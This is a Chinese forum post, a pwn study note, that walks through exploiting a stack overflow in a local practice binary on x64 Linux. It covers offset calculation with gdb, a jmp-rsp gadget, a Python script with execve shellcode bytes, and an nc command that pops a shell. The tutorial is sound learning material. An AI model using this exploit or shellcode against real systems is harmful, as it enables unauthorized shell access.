math1as
贫民
贫民
  • UID637346
  • 粉丝0
  • 关注0
  • 发帖数0
阅读:0回复:1

Binary(pwn)学习笔记之二:linux x64 stack overflows

楼主#
更多 发布于:2016-06-20 13:58
接一:这里以一个典型的stack overflows漏洞来进行学习
以下是一个64位linux程序的溢出分析过程
要在本地复现这个环境,请使用socat tcp-l:6666,reuseaddr,fork exec:./pwn
其中,fork exec是指每次都用一个子进程去响应。
http://shell-storm.org/shellcode/ 用于shellcode的快捷查询
首先直接运行./pwn,发现它提示输入信息,于是记录下特征字符串"easy"
然后我们用hopper加载一下这个pwn文件

跟随字符串找到最核心部分的代码

用hopper的插件alt+enter反编译为C.可以看到这里溢出应该是memcpy函数导致的。
为了复现环境,我在这里用socat tcp-l:6666,reuseaddr,fork exec:./pwn

接下来,使用gdb加载pwn,并且在exit()处设置断点.
这里的目的是,在程序执行ret时,把保存的rbp弹出了。于是可以观察到,如果被覆盖后,实际的rbp.
用rbp就可以来计算偏移。我们使用peda自带的pattern create创建一个有序字符串

然后,在调试时输入这个字符串。最终在断点停下。
使用pattern offset $rbp 计算偏移量。
由于栈的结构是这样的 |覆盖的rbp|覆盖的返回地址|rsp指向|
于是这里得到的结果32要+8 (8个byte),得到的结果是缓冲区大小为40

使用jmpcall $rsp指令来为我们找到一个合适的跳板

最终拼凑出了这个shellcode
[mw_shl_code=python,true]    #!/usr/bin/env python
    from zio import *
    a=open('overflows.txt','wb+')
    shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    payload = 'a'*40 + l64(0x4b23a3) + shellcode
    a.write(payload)
    a.close()[/mw_shl_code]
使用如下命令来进行溢出
cat overflows.txt -|nc -nvv 127.0.0.1 6666

这里的-管道符代表了标准输入流,如果不加入,会导致获取shell后,因为没有命令执行参数而直接退出。
加上管道符,则可以直接从键盘读取输入的指令。最终得到了一个shell,其权限和运行它的用户一致。
杨双双
贫民
贫民
  • UID719901
  • 粉丝0
  • 关注0
  • 发帖数0
沙发#
发布于:2016-10-11 13:49
不明觉厉
 不明觉厉#18x
游客

返回顶部